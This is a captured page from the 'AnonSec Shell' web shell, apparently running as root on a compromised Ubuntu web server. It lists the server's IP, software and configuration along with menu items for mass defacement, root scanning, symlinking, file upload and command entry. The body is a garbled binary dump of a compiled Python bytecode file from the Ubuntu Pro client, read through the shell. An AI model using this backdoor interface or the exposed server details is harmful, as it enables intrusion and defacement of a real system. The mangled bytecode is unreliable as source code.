AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/uaclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/uaclient/__pycache__/exceptions.cpython-310.pyc
o

F��c_5�@sDddlZddlmZmZmZddlmZddlmZddl	m
Z
Gdd�de�ZGdd	�d	e�Z
Gd
d�de�ZGdd
�d
e�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGd d!�d!e�ZGd"d#�d#e�ZGd$d%�d%e�ZGd&d'�d'e�ZGd(d)�d)e�ZGd*d+�d+e�ZGd,d-�d-e�ZGd.d/�d/e�Z Gd0d1�d1e�Z!Gd2d3�d3e�Z"Gd4d5�d5e�Z#Gd6d7�d7e�Z$Gd8d9�d9e�Z%Gd:d;�d;e�Z&Gd<d=�d=e�Z'Gd>d?�d?e�Z(Gd@dA�dAe�Z)GdBdC�dCe�Z*GdDdE�dEe�Z+GdFdG�dGe�Z,GdHdI�dIe,�Z-GdJdK�dKe,�Z.GdLdM�dMe,�Z/GdNdO�dOe�Z0GdPdQ�dQe1�Z2GdRdS�dSe1�Z3GdTdU�dUe2�Z4GdVdW�dWe2�Z5GdXdY�dYe�Z6GdZd[�d[e�Z7Gd\d]�d]e7�Z8Gd^d_�d_e7�Z9Gd`da�dae�Z:Gdbdc�dce�Z;Gddde�dee�Z<dS)f�N)�Any�Dict�Optional)�error)�messages)�PRINT_WRAP_WIDTHc
@sDeZdZdZdZ		d
dedeedeeeefddfdd	�Z	dS)�UserFacingErrorz�
    An exception to be raised when an execution-ending error is encountered.

    :param msg:
        Takes a single parameter, which is the user-facing error message that
        should be emitted before exiting non-zero.
    �N�msg�msg_code�additional_info�returncCs||_||_||_dS�N)r
rr)�selfr
rr�r�5/usr/lib/python3/dist-packages/uaclient/exceptions.py�__init__s
zUserFacingError.__init__)NN)
�__name__�
__module__�__qualname__�__doc__�	exit_code�strrrrrrrrrr	s�����rc�*eZdZdededdf�fdd�Z�ZS)�APTInstallError�name�service_msgr
Nc�t�jtjjtjjd�dS�N�r
r)�superrr�APT_INSTALL_FAILEDr
r)rrr��	__class__rrr �
�zAPTInstallError.__init__�rrrrr�
__classcell__rrr"rr�"rc�eZdZ�fdd�Z�ZS)�APTProcessConflictErrorcrr)r rr�APT_PROCESS_CONFLICTr
r�rr"rrr(r$z APTProcessConflictError.__init__�rrrrr&rrr"rr)'�r)c�&eZdZdeddf�fdd�Z�ZS)�APTInvalidRepoError�	error_msgr
Ncst�j|d�dS)N�r
)r r)rr0r"rrr0szAPTInvalidRepoError.__init__r%rrr"rr//�r/c�eZdZd�fdd�Z�ZS)�APTUpdateProcessConflictErrorr
Ncrr)r rr�APT_UPDATE_PROCESS_CONFLICTr
rr+r"rrr5r$z&APTUpdateProcessConflictError.__init__�r
Nr,rrr"rr44�r4cr.)�APTUpdateInvalidRepoError�repo_msgr
Nc�&tjj|d�}t�j|j|jd�dS)N)r9r)r�APT_UPDATE_INVALID_REPO�formatr rr
r)rr9r
r"rrr=�z"APTUpdateInvalidRepoError.__init__r%rrr"rr8<r2r8cs,eZdZddeeddf�fdd�
Z�ZS)�APTInstallProcessConflictErrorN�
header_msgr
cs2|r|d7}tjj|d�}t�j|j|jd�dS)N�.
)r?r)r�APT_INSTALL_PROCESS_CONFLICTr<r rr
r)rr?r
r"rrrCs�z'APTInstallProcessConflictError.__init__r)rrrrrrr&rrr"rr>Bs$r>cs2eZdZ	ddedeeddf�fdd�
Z�ZS)�APTInstallInvalidRepoErrorNr9r?r
cs4|r|d7}tjj||d�}t�j|j|jd�dS)Nr@)r?r9r)r�APT_INSTALL_INVALID_REPOr<r rr
r)rr9r?r
r"rrrOs�z#APTInstallInvalidRepoError.__init__r)rrrrrrr&rrr"rrBNs����rBcr)�SnapdNotProperlyInstalledError�snap_cmd�servicer
Nc�(tjj||d�}t�j|j|jd�dS)N)rErFr)r�SNAPD_NOT_PROPERLY_INSTALLEDr<r rr
r)rrErFr
r"rrr\s�z'SnapdNotProperlyInstalledError.__init__r%rrr"rrD[r'rDcr3)�CannotInstallSnapdErrorr
Nc�tj}t�j|j|jd�dSr)r�CANNOT_INSTALL_SNAPDr rr
r�rr
r"rrre�z CannotInstallSnapdError.__init__r6r,rrr"rrIdr7rIcr.)�ErrorInstallingLivepatchr0r
Ncr:)N)r0r)r�ERROR_INSTALLING_LIVEPATCHr<r rr
r�rr0r
r"rrrkr=z!ErrorInstallingLivepatch.__init__r%rrr"rrNjr2rNcs.eZdZdedededdf�fdd�Z�ZS)�InvalidServiceToDisableError�	operation�invalid_servicerr
Ncs*tjj|||d�}t�j|j|jd�dS)N)rRrSrr)r�INVALID_SERVICE_OP_FAILUREr<r rr
r)rrRrSrr
r"rrrqs�z%InvalidServiceToDisableError.__init__r%rrr"rrQps����rQc�"eZdZdef�fdd�Z�ZS)�ProxyNotWorkingError�proxyc�$t�jtjj|d�jtjjd�dS�N)rWr)r rr�NOT_SETTING_PROXY_NOT_WORKINGr<r
r�rrWr"rrr}�
�zProxyNotWorkingError.__init__r%rrr"rrV|�rVcrU)�ProxyInvalidUrlrWcrXrY)r rr�NOT_SETTING_PROXY_INVALID_URLr<r
rr[r"rrr�r\zProxyInvalidUrl.__init__r%rrr"rr^�r]r^c@seZdZdZdZdS)�NonAutoAttachImageErrorz>Raised when machine isn't running an auto-attach enabled imagerN)rrrrrrrrrr`�sr`cs*eZdZdZdZdef�fdd�Z�ZS)�AlreadyAttachedErrorzDAn exception to be raised when a command needs an unattached system.��account_namecr:)N)rcr)r�ALREADY_ATTACHEDr<r rr
r)rrcr
r"rrr�r=zAlreadyAttachedError.__init__)rrrrrrrr&rrr"rra�sracs$eZdZdZdZ�fdd�Z�ZS)�AttachErrorz@An exception to be raised when we detect a generic attach error.r	crJr)r�ATTACH_FAILUREr rr
rrLr"rrr�rMzAttachError.__init__)rrrrrrr&rrr"rre�srecr)�AttachInvalidConfigFileError�config_namerr
Ncs2tjj||d�}t�jtj|jtd�|j	d�dS)N)rhr)�widthr)
r�ATTACH_CONFIG_READ_ERRORr<r r�textwrap�fillr
rr)rrhrr
r"rrr�s�
�z%AttachInvalidConfigFileError.__init__r%rrr"rrg�r'rgcr()�AttachInvalidTokenErrorcrr)r rr�ATTACH_INVALID_TOKENr
rr+r"rrr�r$z AttachInvalidTokenError.__init__r,rrr"rrm�r-rmcr()�ConnectivityErrorcrr)r rr�CONNECTIVITY_ERRORr
rr+r"rrr�r$zConnectivityError.__init__r,rrr"rro�r-rocr()� MagicAttachTokenAlreadyActivatedcrJr)r�$MAGIC_ATTACH_TOKEN_ALREADY_ACTIVATEDr rr
rrLr"rrr��

�z)MagicAttachTokenAlreadyActivated.__init__r,rrr"rrq�r-rqcr()�MagicAttachTokenErrorcrJr)r�MAGIC_ATTACH_TOKEN_ERRORr rr
rrLr"rrr�rszMagicAttachTokenError.__init__r,rrr"rrt�r-rtcrU)�MagicAttachInvalidEmail�emailcr:)N)rwr)r�MAGIC_ATTACH_INVALID_EMAILr<r rr
r)rrwr
r"rrr�s

�z MagicAttachInvalidEmail.__init__r%rrr"rrv�r]rvcr()�MagicAttachUnavailablecrJr)r�MAGIC_ATTACH_UNAVAILABLEr rr
rrLr"rrr�rszMagicAttachUnavailable.__init__r,rrr"rry�r-rycr()�MagicAttachInvalidParamcrG)N)�param�valuer)r�MAGIC_ATTACH_INVALID_PARAMr<r rr
r)rr|r}r
r"rrr���z MagicAttachInvalidParam.__init__r,rrr"rr{�r-r{cs.eZdZdZdededef�fdd�Z�ZS)�
LockHeldErroraAn exception for when another pro operation is in progress

    :param lock_request: String of the command requesting the lock
    :param lock_holder: String of the command that currently holds the lock
    :param pid: Integer of the process id of the lock_holder
    �lock_request�lock_holder�pidcs6||_||_tjj|||d�}t�j|j|jd�dS)N)r�r�r�r)	r�r�r�LOCK_HELD_ERRORr<r rr
r)rr�r�r�r
r"rrr�s�zLockHeldError.__init__)rrrrr�intrr&rrr"rr��s"r�cs eZdZdZ�fdd�Z�ZS)�MissingAptURLDirectivez@An exception for when the contract server doesn't include aptURLcr:)N)�entitlement_namer)r�MISSING_APT_URL_DIRECTIVEr<r rr
r�rr�r
r"rrrs�zMissingAptURLDirective.__init__�rrrrrr&rrr"rr��sr�cs"eZdZdZd�fdd�Z�ZS)�NonRootUserErrorz7An exception to be raised when a user needs to be root.r
Ncrr)r rr�NONROOT_USERr
rr+r"rrrs
�zNonRootUserError.__init__r6r�rrr"rr�	sr�cs2eZdZdZejfdejddf�fdd�
Z�ZS)�UnattachedErrorz>An exception to be raised when a machine needs to be attached.r
r
Ncst�j|j|jd�dSr)r rr
rrLr"rrrszUnattachedError.__init__)	rrrrr�
UNATTACHED�NamedMessagerr&rrr"rr�s���r�cs.eZdZdZdededdf�fdd�Z�ZS)�SecurityAPIMetadataErrorzDAn exception raised with Security API metadata returns invalid data.r
�issue_idr
Ncs&t��d|dtjj|d��dS)NzError: �
)�issue)r rr�SECURITY_ISSUE_NOT_RESOLVEDr<)rr
r�r"rrrs����z!SecurityAPIMetadataError.__init__)rrrrrrr&rrr"rr�s"r�crU)�InvalidProImager0cs,||_tjj|d�}t�j|j|jd�dS)Nr1r)�contract_server_msgr�INVALID_PRO_IMAGEr<r rr
rrPr"rrr(szInvalidProImage.__init__r%rrr"rr�'r]r�cs8eZdZdZd	dedeef�fdd�
Zdd�Z�ZS)
�GCPProAccountErrorz?An exception raised when GCP Pro service account is not enabledNr
rcs||_t��||�dSr)�coder r)rr
rr�r"rrr1szGCPProAccountError.__init__cCsdj|j|jd�S)Nz(GCPProServiceAccount Error {code}: {msg})r�r
)r<r�r
r+rrr�__str__5s�zGCPProAccountError.__str__r)	rrrrrrrr�r&rrr"rr�.sr�c@s"eZdZdeeddfdd�ZdS)�CloudFactoryError�
cloud_typer
NcCs
||_dSr)r�)rr�rrrr<s
zCloudFactoryError.__init__)rrrrrrrrrrr�;r]r�c@�eZdZdS)�CloudFactoryNoCloudErrorN�rrrrrrrr�@�r�c@r�)�!CloudFactoryUnsupportedCloudErrorNr�rrrrr�Dr�r�c@r�)�CloudFactoryNonViableCloudErrorNr�rrrrr�Hr�r�crU)�EntitlementNotFoundErrorr�cr:)N)rr)r�ENTITLEMENT_NOT_FOUNDr<r rr
rr�r"rrrMr=z!EntitlementNotFoundError.__init__r%rrr"rr�Lr]r�c
sLeZdZ			ddejdeedeeeefdeef�fdd�
Z	�Z
S)	�UrlErrorN�causer��headers�urlcsRt|dd�rt|j�}nt|�}t��|�||_||_|jdur$i|_||_dS)N�reason)�getattrrr�r rr�r�r�)rr�r�r�r��cause_errorr"rrrSs

zUrlError.__init__)NNN)rrrr�URLErrorrr�rrrr&rrr"rr�Rs�����r�cs>eZdZ			d
dedeedededdf
�fdd	�
Z�ZS)�ProcessExecutionErrorN��cmdr�stdout�stderrr
cs<||_||_||_|sd}nd}t��|j|||d��dS)Nz"Invalid command specified '{cmd}'.zEFailed running command '{cmd}' [exit({exit_code})]. Message: {stderr})r�r�r)r�r�rr rr<)rr�rr�r��message_tmplr"rrrgs��zProcessExecutionError.__init__)Nr�r�)rrrrrr�rr&rrr"rr�fs������r�c�:eZdZ�fdd�Zdd�Zd
dd�Z�fdd	�Z�ZS)�ContractAPIErrorcs.t��||j|j|j�|duri}||_dSr)r rr�r�r��	api_error�r�e�error_responser"rrr~s
zContractAPIError.__init__cCs0||j�d�kr
dS|j�dd��|�rdSdS)Nr�T�messager�F)r��get�
startswith�r�
error_coderrr�__contains__�s
zContractAPIError.__contains__NcCs |j�d�|kr|j�d�S|S)Nr�r�)r�r�)rr��defaultrrr�__get__�szContractAPIError.__get__cs2t���}|dt|j�dd|j�dd�S)N�: [�]�, r�r�)r r�rr�r�r�)r�prefixr"rrr��s
������zContractAPIError.__str__r�rrrrr�r�r�r&rrr"rr�}s

r�cr�)�SecurityAPIErrorcs*t��||j|j|j�|�dd�|_dS)Nr�r�)r rr�r�r�r�r�r�r"rrr�szSecurityAPIError.__init__cCst||jv�Sr)�boolr�r�rrrr��szSecurityAPIError.__contains__NcCs||jvr|jS|Sr)r�)r�	error_strr�rrrr��s
zSecurityAPIError.__get__csLt���}|jg}|r|dt|j�dd�|�S|dt|j�dS)Nr�z] r�r�)r r�r�rr��join)rr��detailsr"rrr��s

 zSecurityAPIError.__str__rr�rrr"rr��s

r�c@r�)�InPlaceUpgradeNotSupportedErrorNr�rrrrr��r�r�c@r�)�IsProLicensePresentErrorNr�rrrrr��r�r�c@r�)�CancelProLicensePollingNr�rrrrr��r�r�c@r�)�DelayProLicensePollingNr�rrrrr��r�r�cr)�InvalidFileFormatError�	file_name�file_formatr
NcrG)N)r�r�r)r�INVALID_FILE_FORMATr<r rr
r)rr�r�r
r"rrr�rzInvalidFileFormatError.__init__r%rrr"rr��r'r�cs&eZdZdedef�fdd�Z�ZS)�ParsingErrorOnOSReleaseFile�orig_ver�mod_vercrG)N)r�r�r)r� ERROR_PARSING_VERSION_OS_RELEASEr<r rr
r)rr�r�r
r"rrr�rz$ParsingErrorOnOSReleaseFile.__init__r%rrr"rr��r2r�cr()�MissingSeriesOnOSReleaseFilecr:)N)�versionr)r�MISSING_SERIES_ON_OS_RELEASEr<r rr
r)rr�r
r"rrr�r=z%MissingSeriesOnOSReleaseFile.__init__r,rrr"rr��r-r�)=rk�typingrrr�urllibr�uaclientr�uaclient.defaultsr�	Exceptionrrr)r/r4r8r>rBrDrIrNrQrVr^r`rarergrmrorqrtrvryr{r�r�r�r�r�r�r�r�r�r�r�r��IOErrorr�r�r�r�r�r�r�r�r�r�r�rrrr�<module>sj
	

				
		
"

Anon7 - 2022
AnonSec Team